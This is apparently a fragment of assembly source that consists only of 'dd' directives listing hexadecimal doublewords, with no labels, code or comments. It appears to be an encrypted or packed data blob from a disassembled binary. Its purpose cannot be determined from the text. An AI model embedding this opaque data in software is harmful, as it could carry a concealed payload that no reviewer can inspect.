dd 0D05AE87Fh, 0BAA24EEFh, 0F7B4BFD2h, 0D1C9EB30h, 0C9FE088Ah
dd 99E90408h, 30D5E51Dh, 574EEB6Ah, 0D0DF55F8h, 8B5E2BB9h
dd 843C8023h, 9808E9C3h, 1D90A3D1h, 0CC3C307Ah, 6B12CB06h
dd 4B01D2F7h, 53F8B61Ch, 48E9DE50h, 0E599B5A6h, 1F5BA8CEh
dd 3668072Eh, 0CFFE1035h, 0B01D16D0h, 8F130991h, 0BFE5903Ch
dd 0B1581A23h, 706627F9h, 0A81E8416h, 0BFE2E7B0h, 0D891A73Fh
dd 2C392F3h, 2A3CEA63h, 49401FA3h, 0C13E35E0h, 0E5CA1D63h
dd 2454D30Ch, 2DF90FB3h
dd 2C333118h, 754EE9F0h, 0A9B86900h, 75E4C4Eh, 0D92E1B2Dh
dd 65615F5Dh, 0E4055428h, 535AB545h, 8B3FDF04h, 7508CABh
dd 0C78A7D4Ah, 222D258h, 0E27B0141h, 8D73C4D3h, 63E072CDh
dd 448EBE7Bh, 0B19EAF59h, 0AC20144Ch, 13EB8103h, 0D93F881Ah
dd 0E0325A5Ch, 697C042Fh, 2E680DCCh, 6B4D2E8Ah, 9507E457h
dd 0BD1B232Ch, 415ABE09h, 9DF1F018h, 0C006F584h, 0C92DFC7Eh
dd 2493148h, 6FE67536h, 1DE4F748h, 2DD65E58h, 8514204Eh
dd 0B557D73Eh, 1C5F5B63h, 4BEBA416h, 0E8098F8Ah, 3EBAFFC0h
dd 729A1D12h, 53D6D2FEh, 0B7EAE47Fh, 0C5B7816Ch, 43726AA2h
dd 760B682Fh, 75B665Ch, 455FDAC3h, 0F4EE1AFBh, 0B62C52B3h
dd 0DA3EDA39h, 0FD2571C7h, 5A819CB2h, 6B43E950h, 0A7BF0512h
dd 3AE9828Dh, 196ED72Dh, 814095B0h, 0B925F568h, 0A82493E9h
dd 4D0B00B8h, 0BFB91FFCh, 6A131637h, 79E2C131h, 87DFFB26h
dd 788EF80h, 8A1EA3F9h, 0D3F73E09h, 28457043h, 0C1800749h
dd 41603F0Ch, 0BE1D20DDh, 201ACEF4h, 51CCB29h, 0D3AB8708h
dd 98D26062h, 70836DE3h, 5A466C27h, 45D80FD1h, 54C46EC0h
dd 0E68BBA3Ah, 9469EA7Dh, 98BF50BAh, 0FE35B12h, 3D752701h
dd 602F6D1Ch, 77720DD9h, 7AD06BE3h, 2FB37CAEh, 98DC294Bh
dd 4E8F180Ch, 55582654h, 62411061h, 8232A71Ch, 9933006h
dd 1EA87B02h, 0BA817F5Bh, 34B956C3h, 92E2930h, 4278211Eh
dd 4863248Eh, 1A052268h, 57A4064Eh, 54C1BFC0h, 9C024835h
dd 13F44227h, 7F655549h, 2216C825h, 1D008C05h, 0BF783339h
dd 13CCC6E7h, 0FBDF0187h, 0CA6A063Dh, 0E9510594h, 0AF2930DEh
dd 0C073B5ECh, 3A2BBB8Eh, 98C2031Ch, 0DD34092Ah, 0AF207CD8h
dd 0ECEA9D66h, 0F428BAFFh, 9E1425AAh, 15AC6816h, 9586A3CCh
dd 54B9D700h, 2C01A14Ch, 0A455A0BDh, 95303158h, 0E9DD1629h
dd 0ACEAF0E0h, 41F2C16h, 0DDD8400Eh, 1AB75304h, 0F6D5C8AFh
dd 5250D700h, 0D488B5B2h, 0AEB830E9h, 5801F7E9h, 686B2004h
dd 7CA253ADh, 0EDB4F448h, 550993DBh, 0A550D6DBh, 55A9647Fh
dd 432C8623h, 0B89B94Ah, 0B486BC3h, 0E9DC0135h, 367A6F46h
dd 0B88065D0h, 539D6EB7h, 6D163DA4h, 0FA20BF90h, 3E251FB9h
dd 2A94059Ah, 34960DDEh, 42F9BE29h, 0E9F2F04Bh, 0F286982Fh
dd 0EFF60B95h, 0AA602914h, 97045BDEh, 75ACE92Dh, 0C5880891h
dd 883AEBC9h, 59DF14Ch, 2BB50A1h, 58250852h, 0E05B6DD4h
dd 0B8764D63h, 35590279h, 4C012903h, 65133940h, 7921C933h
dd 0F927CB73h, 0E57F5FFAh, 100B05BBh, 0D859179Ah, 395F4303h
dd 0F7A2E91Fh, 0D6FE4EDFh, 5F22E816h, 50D490A7h, 0AC446884h
dd 2AEB4FEAh, 11051C69h, 8D94572Dh, 649234FCh, 0D883FCB5h
dd 1A97E929h, 0D950C22Fh, 83F7A5C4h, 0DCB8683Dh, 0F255108Ch
dd 0C92516E3h, 59790B41h, 66A215C3h, 78FF2BCAh, 297CB764h
dd 0FD6F4252h, 982798FAh, 76962517h, 2DE9973Ch, 3457A545h
dd 2D609554h, 0E29F3868h, 0D8C656D1h, 6825E1F7h, 0A70B51BDh
dd 0BE0C215Eh, 620B8DACh, 83FC7B74h, 47FD2104h, 0C43041Fh
dd 28189C0Fh, 79E2D058h, 0A7C49E5Bh, 5AFAE8BBh, 1D972BBh
dd 0D355B8BAh, 1C526CA7h, 88907997h, 0E9617F8Ch, 20924238h
dd 168C1C28h, 0D0F904C3h, 0D473274Ch, 94CB1626h, 0C5A84708h
dd 19ED33C2h, 0D6E0A9DFh, 0B7A401B8h, 0D106CD2Dh, 9F1F8873h
dd 0CF240D29h, 0B0B68F0Bh, 2D572EA8h, 0FAF66CF2h, 34B0919Dh
dd 0F002EFC1h, 69A660FDh, 12450830h, 3B25AAB8h, 20D64C4Ch
dd 0C2984A73h, 9F5DF2BDh, 0BF01AE53h, 5486330Eh, 315AC72Eh
dd 0F70668F0h, 174CBF1Bh, 0F884B4AFh, 1897E944h, 792B39BBh
dd 25AD4C28h, 7774C8D1h, 69FB9D0Bh, 544092BDh, 0A2102CE3h
dd 77FE4F70h, 0FBA5E487h, 0F6D98417h, 16560A60h, 0D83BD114h
dd 2A59CA54h, 8A125B87h, 39AF27BFh, 4427A57Ch, 20577B96h
dd 42248062h, 3902B34Ah, 57465271h, 130FB60Ah, 0E2A28C94h
dd 0E3EABCD2h, 630F8687h, 7D4B764h, 9E6FBF2h, 475D5DEEh
dd 6853024Ch, 8B595D64h, 1193B3B9h, 0F8F7BAE0h, 8CDC9D75h
dd 5B545650h, 0E41CE25Eh, 804AC0E4h, 585B5950h, 811694E6h
dd 0E854FFC7h, 5B9227EAh, 65D54B7Ch, 0E74E95D7h, 2ACD0E7Fh
dd 817D5B4Dh, 0E45392EDh, 660C800Ch, 31D26FC4h, 0A05D4EE9h
dd 0F7E2404Fh, 0B82DD003h, 0F126F37Dh, 396AC72Bh, 10787C64h
dd 0EE4B4C71h, 0BEEB26C8h, 51F42F14h, 0B1F3401h, 406E5F24h
dd 0F4E0CBC4h, 0F95D89DBh, 0BB53830Eh, 55652D20h, 81822075h
dd 4C4017E2h, 0AF184B78h, 3EEF1783h, 0C692B213h, 340214FBh
dd 0A59D1D4Ah, 72881D5Eh, 49680BFEh, 0E3E95833h, 0D4192DB5h
dd 4D137023h, 1D052BD8h, 39AB216Fh, 73E6F8EAh, 54C341C9h
dd 2389A5B1h, 84F0F57h, 68560EF0h, 15D17FA3h, 5565DFD9h
dd 5C8EAAE8h, 8E25051Dh, 96A02FB7h, 290D1762h, 108EF851h
dd 63E9D808h, 0DAE2B14Ah, 8464AD93h, 8AAE36D8h, 0E97961F6h
dd 39AD70A9h, 0B9019A76h, 626E1827h, 57E9226Eh, 4342A340h
dd 3170F00Ah, 72A5216Ch, 6265204Bh, 81DA9981h, 15B62573h
dd 0B3D46A61h, 17432424h, 0C9DE832Eh, 5834DA60h, 0C0E103FFh
dd 20D5C96Bh, 0F4A8C3C3h, 7496874Ah, 0C3FC702h, 42BE8578h
dd 133030FBh, 0D1739131h, 4058F340h, 513B666Ah, 0C87B70B1h
dd 0C782E027h, 0F5253F12h, 0E5B72A78h, 45690946h, 0CAA745F3h
dd 902FC09Ah, 0F9E7974Ch, 959F91A0h, 244322F1h, 0E9F76CF0h
dd 0E9EB6238h, 2F955C31h, 5800608Bh, 1948CC68h, 1040D46Fh
dd 0BD049EC5h, 0A5E4B026h, 650DF5ACh, 4CF32FB4h, 0AA93307Bh
dd 1A3CFA3h, 1F655B3Bh, 32CB8CE7h, 789B7764h, 94F8B85Ah
dd 0B23DF7C0h, 0AB5EE90Eh, 0D8646E97h, 40CB3588h, 0B24A687Ch
dd 0C29DCCE9h, 591FB923h, 0A3CFCBDDh, 67FBB9A5h, 363E24h
dd 89432C62h, 8CCFE9EFh, 3CA97197h, 0CA996416h, 8D535492h
dd 28F7213h, 7D4C5DFDh, 8160A43h, 599DBF58h, 3DCC07A7h
dd 72984C24h, 5D7D9042h, 0A9569210h, 0C8E9289Eh, 0CE3DB475h
dd 51E4FE2Bh, 44F3FF89h, 0FF6D4B7Ah, 0B93075C9h, 5A61770Dh
dd 2806051Dh, 243AF4Dh, 0C15A9BF5h, 0E03C2988h, 3C0E7427h
dd 4DF3A976h, 29304A8Fh, 5EFE789Fh, 2ABEE817h, 649DAB5Ah
dd 0B7D9704h, 0DCF70923h, 0FD2958EEh, 73ADE913h, 9C843DADh
dd 1F121652h, 9FEEB257h, 29E90BD7h, 0E33E5D69h, 45213C40h
dd 0BE188371h, 16062961h, 0BA9B3544h, 0D224D28Ah, 585A843Eh
dd 30E58050h, 7802934Fh, 6CB0D4B8h, 33815587h, 3873ED68h
dd 3651CE9Fh, 0FEF79AB8h, 69298A16h, 3F100479h, 3EFA6802h
dd 0F0BF21E6h, 965D005Fh, 81495957h, 733EBDE1h, 0F13AF6E0h
dd 0A802429h, 2A08CA12h, 0EC5B1232h, 0BCD5873h, 0C6039268h
dd 74470227h, 0DAF7388Dh, 4B9CEC1h, 4A80A0EEh, 6ECF8001h
dd 0C7FEE7D0h, 4AE97F30h, 5D5C839Ah, 21BBBF5Eh, 55E6AABh
dd 555F0980h, 302B9087h, 0C21780D1h, 832544C4h, 1FC6F06Eh
dd 160DB27h, 3A6DECF2h, 410C8011h, 3101D20Ah, 0CEE92FD6h
dd 0C0EA7891h, 2BF51ABh, 510E5725h, 69998BD6h, 0BFF8AA9Bh
dd 0AF267F2Bh, 79003C4Ah, 6877971Ah, 3A7BB59Fh, 75169202h
dd 17BC5B3Dh, 2BBCE117h, 0E7E2BFF2h, 0F77584FFh, 0BBC160E8h
dd 0E112427Fh, 6F0FCC2h, 0D38B7A93h, 38ABC614h, 0AA5F5372h
dd 0F060AF69h, 0BCA4FE9h
dd 0F351516Dh, 8B2080ACh, 0D504F284h, 394B685Ah, 7A5298FAh
dd 43AB4200h, 77EF0BBBh, 9574B2F4h, 14E9D798h, 7E7B7569h
dd 5CF300D6h, 68523321h, 2A20F72Ah, 0FE2BE1B5h, 0C3E4F23Fh
dd 0CCAAE950h, 0EBBF2EEh, 62F9F766h, 5D5AA268h, 48C232D4h
dd 9BE4095Dh, 25935B4Dh, 0A2862096h, 3C0E3573h, 0A072C629h
dd 0BEB5E908h, 92BD0101h, 20438E42h, 3B79C546h, 0A60C4560h
dd 803D512Fh, 0C01E9734h, 5ED2E9B6h, 0EA2BC929h, 5C52DE5Dh
dd 2F0F9CCh, 953201Eh, 4C05DEFh, 54C4712h, 0A3C727DBh
dd 3B8C75D3h, 1F95F1F9h, 0E6078A88h, 1158C680h, 0F83AB252h
dd 76BD6292h, 0FFDAFA4Ah, 0DCCEE281h, 0C2BD79A5h, 0E969C06Fh
dd 1D0FB58Fh, 0EF2048E4h, 5EF1FE81h, 0E6A6A349h, 6709AF3Bh
dd 4B5287FDh, 2788C0C3h, 5EAF6818h, 0CC137E45h, 81BF2F5Bh
dd 0D5B0509Ah, 4D02F7C2h, 5E09194Ah, 0CFF200F0h, 3105F5D4h
dd 41F83703h, 501527E9h, 146A6723h, 993D9044h, 0D364C61Dh
dd 24E5E829h, 3BA769DEh, 6A5EEA5Ch, 0D31B8565h, 1C1E25ECh
dd 0D19B3262h, 675FDD89h, 52B32C74h, 289AED75h, 63422055h
dd 78CD3139h, 0D9C908DEh, 47C9A21Fh, 806F7909h, 702060E4h
dd 30FED405h, 27F34A48h, 427158Ch, 0EA1A80E9h, 0B006DB26h
dd 0ABF05A3Fh, 5BC26421h, 5DD58205h, 0BA882356h, 84B90125h
dd 0E82EE1B4h, 0ECBD9E78h, 8F2A9612h, 6016AA68h, 0A838197Dh
dd 0D727597Dh, 0B0521847h, 7D808A5Dh, 0E5C078B5h, 0ED800202h
dd 0D8D5F63Eh, 0E9AC1FE0h, 0CA56E57Dh, 769B3AC7h, 4F00C975h
dd 14A66EDAh, 25F85348h, 0F3551825h, 32590120h, 0D67DDCBBh
dd 0E5F12E41h, 2356AB2Bh, 348F4FF1h, 28A0EE80h, 0FBB151C6h
dd 0D0D1F614h, 45E106A4h, 0E812C9FEh, 0A2EDF3C1h, 928DF5F4h
dd 0F9029F77h, 0B3445B1Bh, 757A8002h, 77DF21D6h, 0DF95F2DAh
dd 86682C01h, 5C713362h, 0A7E93AF1h, 72867E29h, 201F967Dh
dd 0BD0053D6h, 55222139h, 289CD81h, 0E90CCB18h, 4CDA5BD3h
dd 2D535D48h, 818F766Ah, 0A75E13E5h, 2CCC6134h, 82472CC0h
dd 70505104h, 0F1CF6CC0h, 694E0B42h, 4A424BE9h, 3EDEED57h
dd 0DFD0AEC8h, 31FE6627h, 46A2D62h, 0A743825Fh, 802DC108h
dd 0DE735A4Bh, 0B283C13Ch, 6C142B07h, 0C020620Ch, 86407F20h
dd 3CC7F682h, 0D053C888h, 94EFD552h, 340DDD19h, 856B958Ah
dd 0CB510530h, 0DA8EFEC2h, 32A0577h, 0BA586E2Fh, 0A46B972Dh
dd 4D5DB75Eh, 5A2885BDh, 13C8E2FAh, 28B85B07h, 958BBFD6h
dd 206BA29h, 77E157C1h, 579F9A7Dh, 0BF821165h, 75155069h
dd 6140D3C0h, 0C1582AC7h, 83E0286h, 638D39B1h, 0AB96B7EAh
dd 0DD298C45h, 0AA4A9E8Eh, 87FA1953h, 1F0B92D2h, 1EB91CDFh
dd 0A5E9C9B2h, 4BBD0256h, 92668ABFh, 50868AEEh, 537C8F48h
dd 0D4BB014Eh, 848C01CEh, 6B8229C7h, 0EAF40AC7h, 0EE000EBh
dd 813CE056h, 0D0AF137h, 22B4CAF4h, 0BB7140A9h, 763BFE0Ch
dd 275644Ah, 4547E120h, 0D9FD9C68h, 11448045h, 0E3810372h
dd 42530D0Bh, 0CD89004Fh, 97C676B2h, 224145Fh, 0A9C7E7Ah
dd 17F00EE9h, 0F9EE217Bh, 0C524975Fh, 0FB4F15E8h, 681C0330h
dd 197603h, 43C83AF3h, 5BDE899Dh, 32F0212Dh, 0E65457A8h
dd 68859948h, 0B2341EBDh, 0DAD0399h, 0A949CE54h, 0ADD5C54Eh
dd 5E7980B0h, 0A4C5C082h, 0A968BD9Ah, 842F3F39h, 20E0D01Eh
dd 0F2FA57AEh, 46698209h, 95C97704h, 5EAD6031h, 0BD0196B6h
dd 76DF5753h, 0FBD95DF2h, 0FFF2D40h, 0EC61580Eh, 0C4125621h
dd 5D48DCAFh, 495CD1BFh, 7BB5667Ah, 8D9F1A85h, 557AC742h
dd 1657E33Ch, 34BA6336h, 9613E9EDh, 0E5B7F904h, 0B01AFCBAh
dd 2E0567CDh, 2E35C35h, 23C06D75h, 626C7256h, 0C71A64CCh
dd 0EE00BE5Bh, 354DE038h, 560BC712h, 0E959A4E9h, 324D77DAh
dd 0DAF63E84h, 9DB48FD7h, 0E25E4AB8h, 0FBE9E0CFh, 0C11FC023h
dd 3F01435Dh, 67CE092Ch, 80AB622Fh, 0A5B9F5A7h, 973141E1h
dd 8DEABFF0h, 9F1E872h, 72124BD8h, 18C13E02h, 0C8895612h
dd 55095E7Eh, 0D744B468h, 2C7D0631h, 8FBAD353h, 0FB8E5AE6h
dd 16578310h, 98AADA01h, 3318820h, 7FF1B65Bh, 663DEF35h
dd 0AAAD7B9Fh, 592745F3h, 6F5459C5h, 6FAD18A8h, 2E857EB8h
dd 0B355E57h, 59F4A03Ch, 4B013A85h, 0F1A00BEh, 424D757Ch
dd 9F05E919h, 173E5E24h, 6916913Ah, 0C1AE0480h, 0AFA698C1h
dd 5515CF5h, 810F34F5h, 2B56F4DFh, 0F01774E6h, 92DDB3D7h
dd 5838B0C2h, 3D74BDCDh, 27689754h, 3E174DC7h, 50FE269Ah
dd 0ED5E0825h, 63AE84B0h, 950FEDE3h, 0B4B97249h, 620DA791h
dd 23A2F76Eh, 0D15F6619h, 0F901848Dh, 0BC41C85Fh, 2D05E5B2h
dd 63D137Bh, 5E4BFDF4h, 301CCC9Bh, 65FD384Eh, 10752DC0h
dd 114124Fh, 3C0705E8h, 0C6F8285Dh, 5B73030Bh, 9F960819h
dd 71E0F509h, 76816A0h, 0D2543776h, 79FF6362h, 894A6946h
dd 7667F81h, 6E5FF6CCh, 9C6BE62Fh, 0DEBC5CE4h, 7CC1E985h
dd 71ABE595h, 279C479h, 20EC5D01h, 484425Ch, 0B9FC7161h
dd 6913FAh, 1B65D858h, 35B22905h, 315D0882h, 3372EB14h
dd 0EEE3C11Fh, 109942CBh, 487609h, 0D0E4118h, 30E0CA3h
dd 491C3545h, 0C761027Eh, 7D489258h, 0A555CDE1h, 82167455h
dd 1C06730h, 4D797D7h, 0A92291E9h, 503C169Ch, 0F298DB0Fh
dd 5897711Dh, 0B7F5D988h, 9FEF005Ch, 83189499h, 49B9F251h
dd 53773740h, 0C06604Dh, 0F43D7C11h, 0E9EB8904h, 31BEFC82h
dd 7F75A441h, 59264EDh, 41A1D5F0h, 1368F1C6h, 0F7522B0Ah
dd 88B933FAh, 0D3F3BBFCh, 2F3CEE5Eh, 72F630E9h, 0E51B050Ah
dd 31BCE404h, 0B8FC58C2h, 486FF205h, 8CB5C1AAh, 86802D24h
dd 51471D5Ch, 0E77A9C8Ah, 9AF93EAEh, 759C7E53h, 9F8A9A80h
dd 0C0978088h, 5E3A68F8h, 0BD78C14h, 57CF429Fh, 0AE426459h
dd 0DDEFA9ABh, 0C0FD10C1h, 0C0BF54E8h, 4E902D55h, 15D58514h
dd 0DD17D604h, 3E8CBFBEh, 0F6385E10h, 47387A7Fh, 75AB4E4Dh
dd 4B4C2297h, 5B9F3DF0h, 638E089Eh, 0D8015A04h, 186EF280h
dd 0AF8B7C3h, 0F93B5D7Fh, 0AACA0208h, 8068E04Ah, 9A07EAA9h
dd 4753B747h, 0F8ACE989h, 914D97CCh, 7FC6FA8Bh, 5E7B7546h
dd 0CA003BFDh, 8003EEC0h, 28F21FC6h, 64D94BF4h, 4201A66h
dd 2F7597C8h, 0C0554B5Dh, 1808BE83h, 0CC0D656Dh, 25011168h
dd 0E9D60905h, 5385FF2h, 3EF950E3h, 930B3855h, 516B8BFFh
dd 16B97C36h, 62B2EC88h, 6DAE1F93h, 0D32D8600h, 3058052Ah
dd 7BFD27ABh, 0A4B3814Ch, 0CCC4F380h, 0FE0523E3h, 166CE9CBh
dd 16BE3088h, 0EC63F641h, 0C34A2887h, 157E5114h, 14EA02CFh
dd 0C88D1070h, 926FE912h, 0C1801C01h, 0B1C3C230h, 85DFCB28h
dd 9A44625Eh, 8EFB5FFEh, 0D12E54A2h, 0DDED2563h, 5F517644h
dd 1660EC06h, 3B92B874h, 0A0C84652h, 46270F4h, 31E938D1h
dd 0F0CCBA67h, 0BB904A68h, 37EB8031h, 5E5582C3h, 0FC18C42Bh
dd 83493EB8h, 129D6857h, 8CDE2F35h, 6AB068C0h, 1E41BAEEh
dd 0DFF8BC6Ah, 0E84A5012h, 0FB0BEA51h, 4427795Dh, 0BD37E08Fh
dd 36026712h, 0D12B4A05h, 8A12D164h, 8B799CEFh, 81EE2D4Ch
dd 29060E3h, 3FCAC2Eh, 89827BF6h, 0E0F18A29h, 173CC304h
dd 0E5420B46h, 210805B0h, 29436865h, 92563E3Ah, 6612F3CBh
dd 4B8944A4h, 75E9D8E3h, 0C1A2114Ah, 80B2BBD2h, 6396FA62h
dd 8361285Ah, 7609681Ch
dd 24CBB62Bh, 0AA66794h, 0ADE0E527h, 508F67B2h, 72699BC9h
dd 4F1D7C14h, 0B26074BAh, 63A001A6h, 0D1891096h, 4C4F8B2Ah
dd 3726094Fh, 0ED88818Bh, 0DCC5D6D3h, 0AF74042Bh, 0B87DD0E3h
dd 21E80241h, 9555F8BDh, 963F8C70h, 0E3CA633Fh, 2E8D2773h
dd 0B1890959h, 0CBDB04EDh, 41F38107h, 401EF010h, 0D63443C8h
dd 0F6C16F74h, 2B02DCB8h, 0FBF3E47Fh, 0BC559362h, 8282D170h
dd 33A82D21h, 23E208C0h, 2477A3Bh, 0AE449BF7h, 8131FE0Fh
dd 1458AFCFh, 0EB1E8767h, 6B1C5Ah, 5E259431h, 0B269BD1Fh
dd 2E173A1Dh, 87D4B2A8h, 0C59DEF4Bh, 59AF443Ah, 0D62822EBh
dd 8A504244h, 8202DE92h, 2FC06A7Ah, 9E240325h, 6504280Bh
dd 0D582DC2Fh, 52A47597h, 0CCB4BBEFh, 1FFBEEAh, 0E323102Dh
dd 50E67F30h, 0B807AB5Eh, 0B41F1DBBh, 0E1F31CF6h, 0A034FE4Ah
dd 2836F6A5h, 0B37F4C46h, 0F2F390CEh, 7856840Eh, 0EBD0E1ADh
dd 9FAE3B18h, 1818C0E6h, 4B3A74AAh, 4DEB2742h, 6CC1150h
dd 0F241808h, 2D49173Ah, 468111EEh, 4005F001h, 69CDE907h
dd 23C153C0h, 4F64D50Fh, 0A53DEA5Fh, 4612447Eh, 7BE93030h
dd 0AE3AE155h, 18F5BE38h, 2A6A7EDAh, 7282926Ch, 4C71EF27h
dd 0D738EAEBh, 5680A1A9h, 29261CC4h, 0FD029B90h, 2151804Bh
dd 0E77E61D6h, 0A14B2A68h, 8E5CCCCh, 0E01082BDh, 0DABF000Bh
dd 31FF3A1Ch, 0F72EA5DCh, 681712CCh, 55617BB4h, 0FC7E758Eh
dd 0E959E06Ch, 95477039h, 2E7136D5h, 0C9807D68h, 5F04307Bh
dd 0E2FE5455h, 5035C562h, 0C1354BEDh, 9F1C1C52h, 0C7CB96FBh
dd 501B5331h, 0CD5C0A2Dh, 387020EBh, 0BF4E2EDEh, 83302F39h
dd 0EB515AFDh, 0B1716D27h, 4E7F88FEh, 0EA6F8FE6h, 60FA06F9h
dd 4A83D9E6h, 6F6496F2h, 821A4FA0h, 9E6C080h, 3DF66806h
dd 7F601230h, 0E0825D82h, 0FBD5DC08h, 0F5A037AEh, 0A2EC850Ah
dd 8380C437h, 68585F00h, 4695704Fh, 600B3064h, 1DDEE9Fh
dd 2553C024h, 0D55C1C02h, 0A8F5400Fh, 65023076h, 0CFCBF24h
dd 5F313E48h, 25E986E4h, 4AD5C36Dh, 3732C05Ah, 4C212E63h
dd 1804193Ch, 73873808h, 0BFDAF097h, 0EF2509E7h, 0BF341274h
dd 0C642D98Dh, 0D45A095Bh, 14277C00h, 21B9CB81h, 4B1028AEh
dd 82470491h, 0E889EB50h, 0F4B08427h, 3313CED1h, 89D93157h
dd 0B061C6C7h, 51534416h, 3A0F38B0h, 0A47D3B1Ah, 41BA8D5Eh
dd 0C5C96DDh, 9806300Dh, 5AB36612h, 430E1FAh, 0F70BC108h
dd 0B6820476h, 7DC98B8Fh, 95E2ABBBh, 4D1D0A54h, 76428D8Bh
dd 0F8F68100h, 431BB171h, 0C9B935C8h, 78A46ACAh, 0CC864191h
dd 0D369F6D9h, 9B7AD508h, 80B8E928h, 0FA0988E2h, 2B8E685Bh
dd 0D021DCD0h, 29800310h, 94B0C9C5h, 6D14492Bh, 95247F95h
dd 3B6CE99Ah, 84F1A5CFh, 0D4EB2DEBh, 90E98428h, 0AD635715h
dd 28E80658h, 0A49C07EAh, 1CF90951h, 58B76E78h, 58E9E002h
dd 2F910877h, 18A7D77Eh, 48D6F74Dh, 0A644B957h, 4ECAEC54h
dd 397D3753h, 0F0928885h, 0E274BA46h, 0B427AB26h, 0AC053410h
dd 305E7768h, 0F6B4B6D9h, 924BDE4Bh, 2DDFF680h, 1616B6D5h
dd 0EB6620E9h, 721613CBh, 4288BAA4h, 993912EBh, 7F3C004Bh
dd 8115A26Ch, 1740CD3Dh, 0F70C7B36h, 39EEFD25h, 290F2D80h
dd 93A5C601h, 0A928AE8Bh, 4FA3B030h, 5AD4A44Dh, 0F78829Fh
dd 334875BEh, 3EFA5557h, 5A1A9160h, 3944B850h, 5EFC580Ah
dd 0FA1385C6h, 49F2CA82h, 0A4845682h, 839812CBh, 3CF3DDF8h
dd 4204CF07h, 8B958F2Ch, 1C81D3E0h, 9759F6E7h, 0DF6E020Eh
dd 4F5C08Eh, 0BC176241h, 0CA402695h, 73C5BE81h, 0EC3E53AEh
dd 0F007739Bh, 68ADF3D5h, 6A71DE39h, 5D2C02C7h, 5ADF76FEh
dd 0C4F89564h, 0F2C2EB5Eh, 2DB6445Eh, 31EA6B82h, 0D6818B2Eh
dd 2227BE3Fh, 6E740456h, 9B810BFDh, 342A196Ch, 0F00E1608h
dd 81BD5836h, 41ACE9D6h, 0D9E336Bh, 0D8B0D94Ah, 581B7A61h
dd 0FB5B1D89h, 60EC8445h, 76046FAh, 3E0FE64Ah, 0E5A5B65Fh
dd 0F2FE7926h, 0C8C71090h, 0B54C9A40h, 51C60BC8h, 960DB53Dh
dd 8EBCC1EEh, 3ABEA1D7h, 5BD29FC8h, 0E5EAB856h, 9F450C04h
dd 0BA4225EFh, 4868FD90h, 3378BDD8h, 6407F751h, 14B5DD6h
dd 0BE092356h, 0F28E665h, 20A215CFh, 1A587EA6h, 68CA3004h
dd 37BA7D78h, 79D8B6CFh, 12AF277h, 6812437Ah, 62AE3458h
dd 127F4279h, 0AE87DF13h, 0C7B1056h, 0C4028BBBh, 0F8E96D8Ah
dd 927056F2h, 6CBA0106h, 7F33A5FCh, 0E90C4201h, 99AF3ED5h
dd 98D516F5h, 68B64F7h, 43B8C1h, 0D1F6AEC9h, 90DFB753h
dd 5359C99h, 0C01B17BEh, 55CE81C3h, 15303616h, 6EE3AE01h
dd 0F46F1346h, 0B801E230h, 0E9727455h, 0D852FF97h, 0F36240D0h
dd 68813023h, 0A819C0AEh, 6A2FE9F4h, 55EA53Fh, 0EB2E94ABh
dd 5780B2B2h, 39456851h, 5965251Fh, 2169F183h, 7485E536h
dd 0B4E9DC53h, 0CCFE590Bh, 52792FDh, 0F5BE52DBh, 2AEF4089h
dd 2C4A1C79h, 4D462FE4h, 881E244Fh, 0BCC20BD3h, 7EC5C344h
dd 3CE87E58h, 7BEDB8C0h, 0D5A03487h, 0DA2608B7h, 5E390C40h
dd 7661A5CBh, 3F831009h, 320BC1C5h, 0B4188CAh, 0B3AE5912h
dd 0B20596E9h, 0C1C89FFDh, 0AD0B3DC5h, 10F90CE1h, 856931D9h
dd 2135260Eh, 0A3F73080h, 6E0C0503h, 0EB3629E9h, 85EAC733h
dd 2927F1A7h, 0C0C44A75h, 82671816h, 60EE92D7h, 8066E03Ch
dd 11B0A468h, 333BF2CEh, 4D700820h, 5A526009h, 2A72061Eh
dd 1F081EB6h, 0B6003FFBh, 8BF6800Fh, 5A4BF028h, 0FC96D6F3h
dd 722C3A09h, 68665205h, 22FB467Fh, 0EC70AC1Fh, 0D2597EB5h
dd 464A5772h, 0F4E24CB1h, 0FB09EB22h, 0D177657Ah, 5EB5E6FAh
dd 10A3A650h, 7E5F25EDh, 450283F0h, 68C81964h, 0A19B13FDh
dd 0C898E31Eh, 9F601172h, 0A197E5D9h, 0D87605A1h, 9B03105Fh
dd 0BB5B805Eh, 0B348B926h, 0DE815A11h, 0BE4866C3h, 0FC054EBDh
dd 0D6F2F716h, 49E8D678h, 12802B04h, 342513ACh, 0FEEFEA48h
dd 78C6B213h, 167B28B6h, 0CDA17FE9h, 31BE2EB0h, 0C24EC187h
dd 0E8AC65F4h, 0E04E242Fh, 1B36F380h, 5634011Dh, 970262BEh
dd 72A07B5Ch, 584A60CFh, 0EF807DB7h, 0D7F6CB19h, 0E7E0020Ah
dd 18D07B49h, 28E1E3E9h, 0E63FC05Bh, 0F6CE0303h, 0B3F9B450h
dd 0E490F7C4h, 58B353ACh, 0B7712B7h, 505BDC30h, 14751E04h
dd 73F67765h, 117DAAA8h, 18FBE55Ch, 68227B2Dh, 0DE012C09h
dd 0B89F0B6Fh, 9EF6D46Eh, 0D6BF7B92h, 495602AEh, 0B58441C0h
dd 92ECD1h, 79A9E7BEh, 0F8F18978h, 0BA7F408Ah, 1C7C5A0Bh
dd 17B0108h, 0B0DF8E14h, 3016A5EAh, 3B0C2FA9h, 659BB26h
dd 296E058Eh, 81EAD94Eh, 7FDD01CCh, 0EE9311F3h, 0F9621E8Dh
dd 22EB750h, 0E93A886Eh, 22EC279Dh, 0E8BBB732h, 0AE98571Bh
dd 0F9C048F3h, 75525EC6h, 4FB6BE17h, 4985343h, 62D20C00h
dd 0E7681D6Bh, 85B34Fh, 18DADE80h, 0DC9DCE29h, 0BAF0C4FBh
dd 80871464h, 0C04029A2h, 0BEB5A19Dh, 9965EF0Eh, 162CB9C0h
dd 0CBEECFFBh, 0F6680A00h, 6094D421h, 0DC08860Dh, 0A61B4BDAh
dd 50C619A4h, 7B407831h, 242849EAh, 10AD1419h, 2435504Dh
dd 0D5C4FE2Fh, 32A0A207h, 3C414ECCh, 6AE8E7C2h, 5848E728h
dd 6636165Fh, 97967FBh, 5DA75DDBh, 0A6B09D34h, 0D565774Eh
dd 0A5D19DAEh, 96F8E761h, 0E220BB29h, 0B5E408E9h, 6850FCF6h
dd 346252B6h, 88DAD33Ah, 492A6851h, 0A32F9159h, 20151475h
dd 660747DCh, 535057ADh
dd 33AEBB51h, 7D51B8E4h, 0D8311F71h, 0C325075Bh, 9C35C160h
dd 0E0C1F044h, 517E047Ch, 57EB97Fh, 0BFC8093Eh, 5848AE59h
dd 0B9489410h, 9751234h, 62A0F9DCh, 7C0F22B9h, 8653762Ch
